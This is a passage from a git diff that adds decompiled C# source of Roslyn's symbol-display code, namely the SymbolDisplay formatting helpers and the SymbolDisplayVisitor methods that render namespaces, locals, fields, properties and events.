if (format == null) + { + format = SymbolDisplayFormat.CSharpErrorMessageFormat; + } + return ToDisplayParts((ISymbol)(object)symbol.WithNullableAnnotation(nullableAnnotation), null, -1, format, minimal: false); + } + + public static ImmutableArray ToMinimalDisplayParts(ISymbol symbol, SemanticModel semanticModel, int position, SymbolDisplayFormat? format = null) + { + if (format == null) + { + format = SymbolDisplayFormat.MinimallyQualifiedFormat; + } + return ToDisplayParts(symbol, semanticModel, position, format, minimal: true); + } + + public static ImmutableArray ToMinimalDisplayParts(ITypeSymbol symbol, NullableFlowState nullableFlowState, SemanticModel semanticModel, int position, SymbolDisplayFormat? format = null) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + if (format == null) + { + format = SymbolDisplayFormat.MinimallyQualifiedFormat; + } + return ToDisplayParts(symbol, nullableFlowState, semanticModel, position, format, minimal: true); + } + + public static ImmutableArray ToMinimalDisplayParts(ITypeSymbol symbol, NullableAnnotation nullableAnnotation, SemanticModel semanticModel, int position, SymbolDisplayFormat? format = null) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + if (format == null) + { + format = SymbolDisplayFormat.MinimallyQualifiedFormat; + } + return ToDisplayParts((ISymbol)(object)symbol.WithNullableAnnotation(nullableAnnotation), semanticModel, position, format, minimal: true); + } + + private static ImmutableArray ToDisplayParts(ITypeSymbol symbol, NullableFlowState nullableFlowState, SemanticModel? semanticModelOpt, int positionOpt, SymbolDisplayFormat format, bool minimal) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return ToDisplayParts((ISymbol)(object)symbol.WithNullableAnnotation(NullableFlowStateExtensions.ToAnnotation(nullableFlowState)), semanticModelOpt, positionOpt, format, minimal); + } + + private static ImmutableArray ToDisplayParts(ISymbol symbol, SemanticModel? semanticModelOpt, int positionOpt, SymbolDisplayFormat format, bool minimal) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + PopulateDisplayParts(instance, symbol, semanticModelOpt, positionOpt, format, minimal); + return instance.ToImmutableAndFree(); + } + + private static ArrayBuilder PopulateDisplayParts(ArrayBuilder builder, ISymbol symbol, SemanticModel? semanticModelOpt, int positionOpt, SymbolDisplayFormat format, bool minimal) + { + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + if (symbol == null) + { + throw new ArgumentNullException("symbol"); + } + if (minimal) + { + if (semanticModelOpt == null) + { + throw new ArgumentException(CSharpResources.SyntaxTreeSemanticModelMust); + } + if (positionOpt < 0 || positionOpt > semanticModelOpt.SyntaxTree.Length) + { + throw new ArgumentOutOfRangeException(CSharpResources.PositionNotWithinTree); + } + } + if ((symbol as Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.MethodSymbol)?.UnderlyingMethodSymbol is SynthesizedSimpleProgramEntryPointSymbol) + { + builder.Add(new SymbolDisplayPart((SymbolDisplayPartKind)15, symbol, "")); + } + else + { + SymbolDisplayVisitor symbolDisplayVisitor = new SymbolDisplayVisitor(builder, format, semanticModelOpt, positionOpt); + symbol.Accept((SymbolVisitor)(object)symbolDisplayVisitor); + } + return builder; + } + + public static string FormatPrimitive(object obj, bool quoteStrings, bool useHexadecimalNumbers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + ObjectDisplayOptions val = (ObjectDisplayOptions)16; + if (quoteStrings) + { + val = (ObjectDisplayOptions)(val | 8); + } + if (useHexadecimalNumbers) + { + val = (ObjectDisplayOptions)(val | 4); + } + return ObjectDisplay.FormatPrimitive(obj, val); + } + + public static string FormatLiteral(string value, bool quote) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + ObjectDisplayOptions options = (ObjectDisplayOptions)(0x10 | (quote ? 8 : 0)); + return ObjectDisplay.FormatLiteral(value, options); + } + + public static string FormatLiteral(char c, bool quote) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + ObjectDisplayOptions options = (ObjectDisplayOptions)(0x10 | (quote ? 8 : 0)); + return ObjectDisplay.FormatLiteral(c, options); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolDisplayVisitor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolDisplayVisitor.cs new file mode 100644 index 0000000..206ac48 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolDisplayVisitor.cs @@ -0,0 +1,2786 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection; +using System.Reflection.Metadata; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.SymbolDisplay; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class SymbolDisplayVisitor : AbstractSymbolDisplayVisitor +{ + private readonly bool _escapeKeywordIdentifiers; + + private IDictionary _lazyAliasMap; + + private const string IL_KEYWORD_MODOPT = "modopt"; + + private const string IL_KEYWORD_MODREQ = "modreq"; + + private IDictionary AliasMap + { + get + { + IDictionary lazyAliasMap = _lazyAliasMap; + if (lazyAliasMap != null) + { + return lazyAliasMap; + } + lazyAliasMap = CreateAliasMap(); + return Interlocked.CompareExchange(ref _lazyAliasMap, lazyAliasMap, null) ?? lazyAliasMap; + } + } + + internal SymbolDisplayVisitor(ArrayBuilder builder, SymbolDisplayFormat format, SemanticModel semanticModelOpt, int positionOpt) + : base(builder, format, true, semanticModelOpt, positionOpt, false) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + _escapeKeywordIdentifiers = SymbolDisplayExtensions.IncludesOption(format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)2); + } + + private SymbolDisplayVisitor(ArrayBuilder builder, SymbolDisplayFormat format, SemanticModel semanticModelOpt, int positionOpt, bool escapeKeywordIdentifiers, IDictionary aliasMap, bool isFirstSymbolVisited, bool inNamespaceOrType = false) + : base(builder, format, isFirstSymbolVisited, semanticModelOpt, positionOpt, inNamespaceOrType) + { + _escapeKeywordIdentifiers = escapeKeywordIdentifiers; + _lazyAliasMap = aliasMap; + } + + protected override AbstractSymbolDisplayVisitor MakeNotFirstVisitor(bool inNamespaceOrType = false) + { + return (AbstractSymbolDisplayVisitor)(object)new SymbolDisplayVisitor(base.builder, base.format, base.semanticModelOpt, base.positionOpt, _escapeKeywordIdentifiers, _lazyAliasMap, isFirstSymbolVisited: false, inNamespaceOrType); + } + + internal SymbolDisplayPart CreatePart(SymbolDisplayPartKind kind, ISymbol symbol, string text) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + text = ((text == null) ? "?" : ((_escapeKeywordIdentifiers && IsEscapable(kind)) ? EscapeIdentifier(text) : text)); + return new SymbolDisplayPart(kind, symbol, text); + } + + private static bool IsEscapable(SymbolDisplayPartKind kind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Invalid comparison between Unknown and I4 + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Invalid comparison between Unknown and I4 + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Expected I4, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Invalid comparison between Unknown and I4 + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Invalid comparison between Unknown and I4 + if ((int)kind <= 23) + { + switch ((int)kind) + { + default: + if ((int)kind == 23) + { + break; + } + goto IL_0072; + case 0: + case 2: + case 3: + case 4: + case 7: + case 8: + case 14: + case 15: + case 17: + case 19: + case 20: + break; + case 1: + case 5: + case 6: + case 9: + case 10: + case 11: + case 12: + case 13: + case 16: + case 18: + goto IL_0072; + } + } + else if ((int)kind != 26 && (int)kind != 31) + { + goto IL_0072; + } + return true; + IL_0072: + return false; + } + + private static string EscapeIdentifier(string identifier) + { + if (SyntaxFacts.GetKeywordKind(identifier) != SyntaxKind.None) + { + return "@" + identifier; + } + return identifier; + } + + public override void VisitAssembly(IAssemblySymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + string text = (((int)base.format.TypeQualificationStyle == 0) ? symbol.Identity.Name : symbol.Identity.GetDisplayName(false)); + base.builder.Add(CreatePart((SymbolDisplayPartKind)1, (ISymbol)(object)symbol, text)); + } + + public override void VisitModule(IModuleSymbol symbol) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + base.builder.Add(CreatePart((SymbolDisplayPartKind)16, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + + public override void VisitNamespace(INamespaceSymbol symbol) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Invalid comparison between Unknown and I4 + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + if (((AbstractSymbolDisplayVisitor)this).IsMinimizing) + { + if (!TryAddAlias((INamespaceOrTypeSymbol)(object)symbol, base.builder)) + { + MinimallyQualify(symbol); + } + return; + } + if (base.isFirstSymbolVisited && SymbolDisplayExtensions.IncludesOption(base.format.KindOptions, (SymbolDisplayKindOptions)1)) + { + AddKeyword(SyntaxKind.NamespaceKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if ((int)base.format.TypeQualificationStyle == 2) + { + INamespaceSymbol containingNamespace = ((ISymbol)symbol).ContainingNamespace; + if (ShouldVisitNamespace((ISymbol)(object)containingNamespace)) + { + ((ISymbol)containingNamespace).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(containingNamespace.IsGlobalNamespace ? SyntaxKind.ColonColonToken : SyntaxKind.DotToken); + } + } + if (symbol.IsGlobalNamespace) + { + AddGlobalNamespace(symbol); + } + else + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)17, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + } + + private void AddGlobalNamespace(INamespaceSymbol globalNamespace) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Expected I4, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + SymbolDisplayGlobalNamespaceStyle globalNamespaceStyle = base.format.GlobalNamespaceStyle; + switch ((int)globalNamespaceStyle) + { + case 2: + if (base.isFirstSymbolVisited) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)25, (ISymbol)(object)globalNamespace, "")); + } + else + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)9, (ISymbol)(object)globalNamespace, SyntaxFacts.GetText(SyntaxKind.GlobalKeyword))); + } + break; + case 1: + base.builder.Add(CreatePart((SymbolDisplayPartKind)25, (ISymbol)(object)globalNamespace, "")); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)base.format.GlobalNamespaceStyle); + case 0: + break; + } + } + + public override void VisitLocal(ILocalSymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Invalid comparison between Unknown and I4 + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Invalid comparison between Unknown and I4 + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + if (SymbolDisplayExtensions.IncludesOption(base.format.LocalOptions, (SymbolDisplayLocalOptions)4)) + { + if (symbol.IsRef) + { + if ((int)symbol.ScopedKind == 1) + { + AddKeyword(SyntaxKind.ScopedKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + AddKeyword(SyntaxKind.RefKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + if ((int)symbol.RefKind == 3) + { + AddKeyword(SyntaxKind.ReadOnlyKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + } + else if ((int)symbol.ScopedKind == 2) + { + AddKeyword(SyntaxKind.ScopedKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + } + if (SymbolDisplayExtensions.IncludesOption(base.format.LocalOptions, (SymbolDisplayLocalOptions)1)) + { + ((ISymbol)symbol.Type).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (symbol.IsConst) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)30, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + else + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)14, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + if (SymbolDisplayExtensions.IncludesOption(base.format.LocalOptions, (SymbolDisplayLocalOptions)2) && symbol.IsConst && symbol.HasConstantValue && CanAddConstant(symbol.Type, symbol.ConstantValue)) + { + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddPunctuation(SyntaxKind.EqualsToken); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddConstantValue(symbol.Type, symbol.ConstantValue); + } + } + + public override void VisitDiscard(IDiscardSymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + if (SymbolDisplayExtensions.IncludesOption(base.format.LocalOptions, (SymbolDisplayLocalOptions)1)) + { + ((ISymbol)symbol.Type).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + base.builder.Add(CreatePart((SymbolDisplayPartKind)21, (ISymbol)(object)symbol, "_")); + } + + public override void VisitRangeVariable(IRangeVariableSymbol symbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Invalid comparison between Unknown and I4 + if (SymbolDisplayExtensions.IncludesOption(base.format.LocalOptions, (SymbolDisplayLocalOptions)1)) + { + ITypeSymbol rangeVariableType = GetRangeVariableType(symbol); + if (rangeVariableType != null && (int)rangeVariableType.TypeKind != 6) + { + ((ISymbol)rangeVariableType).Accept((SymbolVisitor)(object)this); + } + else + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)5, (ISymbol)(object)rangeVariableType, "?")); + } + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + base.builder.Add(CreatePart((SymbolDisplayPartKind)27, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + + public override void VisitLabel(ILabelSymbol symbol) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + base.builder.Add(CreatePart((SymbolDisplayPartKind)10, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + + public override void VisitAlias(IAliasSymbol symbol) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + base.builder.Add(CreatePart((SymbolDisplayPartKind)0, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + if (SymbolDisplayExtensions.IncludesOption(base.format.LocalOptions, (SymbolDisplayLocalOptions)1)) + { + AddPunctuation(SyntaxKind.EqualsToken); + ((ISymbol)symbol.Target).Accept((SymbolVisitor)(object)this); + } + } + + protected override void AddSpace() + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + base.builder.Add(CreatePart((SymbolDisplayPartKind)22, null, " ")); + } + + private void AddPunctuation(SyntaxKind punctuationKind) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + base.builder.Add(CreatePart((SymbolDisplayPartKind)21, null, SyntaxFacts.GetText(punctuationKind))); + } + + private void AddKeyword(SyntaxKind keywordKind) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + base.builder.Add(CreatePart((SymbolDisplayPartKind)9, null, SyntaxFacts.GetText(keywordKind))); + } + + private void AddAccessibilityIfNeeded(ISymbol symbol) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + INamedTypeSymbol containingType = symbol.ContainingType; + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)4) && (containingType == null || ((int)((ITypeSymbol)containingType).TypeKind != 7 && (!IsEnumMember(symbol) & !IsLocalFunction(symbol))))) + { + AddAccessibility(symbol); + } + } + + private static bool IsLocalFunction(ISymbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind != 9) + { + return false; + } + return (int)((IMethodSymbol)symbol).MethodKind == 17; + } + + private void AddAccessibility(ISymbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Expected I4, but got Unknown + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + Accessibility declaredAccessibility = symbol.DeclaredAccessibility; + switch (declaredAccessibility - 1) + { + case 0: + AddKeyword(SyntaxKind.PrivateKeyword); + break; + case 3: + AddKeyword(SyntaxKind.InternalKeyword); + break; + case 1: + AddKeyword(SyntaxKind.PrivateKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddKeyword(SyntaxKind.ProtectedKeyword); + break; + case 2: + AddKeyword(SyntaxKind.ProtectedKeyword); + break; + case 4: + AddKeyword(SyntaxKind.ProtectedKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddKeyword(SyntaxKind.InternalKeyword); + break; + case 5: + AddKeyword(SyntaxKind.PublicKeyword); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)symbol.DeclaredAccessibility); + } + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + + private bool ShouldVisitNamespace(ISymbol containingSymbol) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + INamespaceSymbol val = (INamespaceSymbol)(object)((containingSymbol is INamespaceSymbol) ? containingSymbol : null); + if (val == null) + { + return false; + } + if ((int)base.format.TypeQualificationStyle != 2) + { + return false; + } + if (val.IsGlobalNamespace) + { + return (int)base.format.GlobalNamespaceStyle == 2; + } + return true; + } + + private bool IncludeNamedType(INamedTypeSymbol namedType) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (namedType == null) + { + return false; + } + if (namedType.IsScriptClass && !SymbolDisplayExtensions.IncludesOption(base.format.CompilerInternalOptions, (SymbolDisplayCompilerInternalOptions)8)) + { + return false; + } + SemanticModel semanticModelOpt = base.semanticModelOpt; + if ((object)namedType == ((semanticModelOpt != null) ? semanticModelOpt.Compilation.ScriptGlobalsType : null)) + { + return false; + } + return true; + } + + private static bool IsEnumMember(ISymbol symbol) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + if (symbol != null && (int)symbol.Kind == 6 && symbol.ContainingType != null && (int)((ITypeSymbol)symbol.ContainingType).TypeKind == 5) + { + return symbol.Name != "value__"; + } + return false; + } + + private void VisitFieldType(IFieldSymbol symbol) + { + ((ISymbol)symbol.Type).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + } + + public override void VisitField(IFieldSymbol symbol) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Invalid comparison between Unknown and I4 + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Invalid comparison between Unknown and I4 + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + AddAccessibilityIfNeeded((ISymbol)(object)symbol); + AddMemberModifiersIfNeeded((ISymbol)(object)symbol); + AddFieldModifiersIfNeeded(symbol); + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)1) && base.isFirstSymbolVisited && !IsEnumMember((ISymbol)(object)symbol)) + { + RefKind refKind = symbol.RefKind; + if ((int)refKind != 1) + { + if ((int)refKind == 3) + { + AddRefReadonlyIfNeeded(); + } + } + else + { + AddRefIfNeeded(); + } + AddCustomModifiersIfNeeded(symbol.RefCustomModifiers); + VisitFieldType(symbol); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddCustomModifiersIfNeeded(symbol.CustomModifiers); + } + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)32) && IncludeNamedType(((ISymbol)symbol).ContainingType)) + { + ((ISymbol)((ISymbol)symbol).ContainingType).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(SyntaxKind.DotToken); + } + if ((int)((ITypeSymbol)((ISymbol)symbol).ContainingType).TypeKind == 5) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)28, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + else if (symbol.IsConst) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)30, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + else + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)7, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + if (base.isFirstSymbolVisited && SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)64) && symbol.IsConst && symbol.HasConstantValue && CanAddConstant(symbol.Type, symbol.ConstantValue)) + { + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddPunctuation(SyntaxKind.EqualsToken); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddConstantValue(symbol.Type, symbol.ConstantValue, IsEnumMember((ISymbol)(object)symbol)); + } + } + + private static bool ShouldPropertyDisplayReadOnly(IPropertySymbol property) + { + INamedTypeSymbol containingType = ((ISymbol)property).ContainingType; + if (containingType != null && ((ITypeSymbol)containingType).IsReadOnly) + { + return false; + } + IMethodSymbol getMethod = property.GetMethod; + if (getMethod != null && !ShouldMethodDisplayReadOnly(getMethod, property)) + { + return false; + } + IMethodSymbol setMethod = property.SetMethod; + if (setMethod != null && !ShouldMethodDisplayReadOnly(setMethod, property)) + { + return false; + } + if (getMethod == null) + { + return setMethod != null; + } + return true; + } + + private static bool ShouldMethodDisplayReadOnly(IMethodSymbol method, IPropertySymbol propertyOpt = null) + { + INamedTypeSymbol containingType = ((ISymbol)method).ContainingType; + if (containingType != null && ((ITypeSymbol)containingType).IsReadOnly) + { + return false; + } + if ((method as Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.MethodSymbol)?.UnderlyingMethodSymbol is SourcePropertyAccessorSymbol sourcePropertyAccessorSymbol && (propertyOpt as Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.PropertySymbol)?.UnderlyingSymbol is SourcePropertySymbolBase sourcePropertySymbolBase) + { + if (!sourcePropertyAccessorSymbol.LocalDeclaredReadOnly) + { + return sourcePropertySymbolBase.HasReadOnlyModifier; + } + return true; + } + if (method is Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.MethodSymbol methodSymbol) + { + return methodSymbol.UnderlyingMethodSymbol.IsDeclaredReadOnly; + } + return false; + } + + public override void VisitProperty(IPropertySymbol symbol) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Invalid comparison between Unknown and I4 + AddAccessibilityIfNeeded((ISymbol)(object)symbol); + AddMemberModifiersIfNeeded((ISymbol)(object)symbol); + if (ShouldPropertyDisplayReadOnly(symbol)) + { + AddReadOnlyIfNeeded(); + } + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)1)) + { + if (symbol.ReturnsByRef) + { + AddRefIfNeeded(); + } + else if (symbol.ReturnsByRefReadonly) + { + AddRefReadonlyIfNeeded(); + } + AddCustomModifiersIfNeeded(symbol.RefCustomModifiers); + ((ISymbol)symbol.Type).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddCustomModifiersIfNeeded(symbol.TypeCustomModifiers); + } + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)32) && IncludeNamedType(((ISymbol)symbol).ContainingType)) + { + ((ISymbol)((ISymbol)symbol).ContainingType).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + AddPunctuation(SyntaxKind.DotToken); + } + AddPropertyNameAndParameters(symbol); + if ((int)base.format.PropertyStyle == 1) + { + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddPunctuation(SyntaxKind.OpenBraceToken); + AddAccessor(symbol, symbol.GetMethod, SyntaxKind.GetKeyword); + SyntaxKind keyword = (IsInitOnly(symbol.SetMethod) ? SyntaxKind.InitKeyword : SyntaxKind.SetKeyword); + AddAccessor(symbol, symbol.SetMethod, keyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + AddPunctuation(SyntaxKind.CloseBraceToken); + } + } + + private static bool IsInitOnly(IMethodSymbol symbol) + { + if (symbol == null) + { + return false; + } + return symbol.IsInitOnly; + } + + private void AddPropertyNameAndParameters(IPropertySymbol symbol) + { + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + bool flag = ((ISymbol)symbol).Name.LastIndexOf('.') > 0; + if (flag) + { + AddExplicitInterfaceIfNeeded(symbol.ExplicitInterfaceImplementations); + } + if (symbol.IsIndexer) + { + AddKeyword(SyntaxKind.ThisKeyword); + } + else if (flag) + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)20, (ISymbol)(object)symbol, ExplicitInterfaceHelpers.GetMemberNameWithoutInterfaceName(((ISymbol)symbol).Name))); + } + else + { + base.builder.Add(CreatePart((SymbolDisplayPartKind)20, (ISymbol)(object)symbol, ((ISymbol)symbol).Name)); + } + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)16) && symbol.Parameters.Any()) + { + AddPunctuation(SyntaxKind.OpenBracketToken); + AddParametersIfNeeded(hasThisParameter: false, isVarargs: false, symbol.Parameters); + AddPunctuation(SyntaxKind.CloseBracketToken); + } + } + + public override void VisitEvent(IEventSymbol symbol) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + AddAccessibilityIfNeeded((ISymbol)(object)symbol); + AddMemberModifiersIfNeeded((ISymbol)(object)symbol); + IMethodSymbol val = symbol.AddMethod ?? symbol.RemoveMethod; + if (val != null && ShouldMethodDisplayReadOnly(val)) + { + AddReadOnlyIfNeeded(); + } + if (SymbolDisplayExtensions.IncludesOption(base.format.KindOptions, (SymbolDisplayKindOptions)4)) + { + AddKeyword(SyntaxKind.EventKeyword); + ((AbstractSymbolDisplayVisitor)this).AddSpace(); + } + if (SymbolDisplayExtensions.IncludesOption(base.format.MemberOptions, (SymbolDisplayMemberOptions)1)) + { + ((ISymbol)symbol.Type).Accept((SymbolVisitor)(object)((AbstractSymbolDisplayVisitor)this).NotFirstVisitor); + 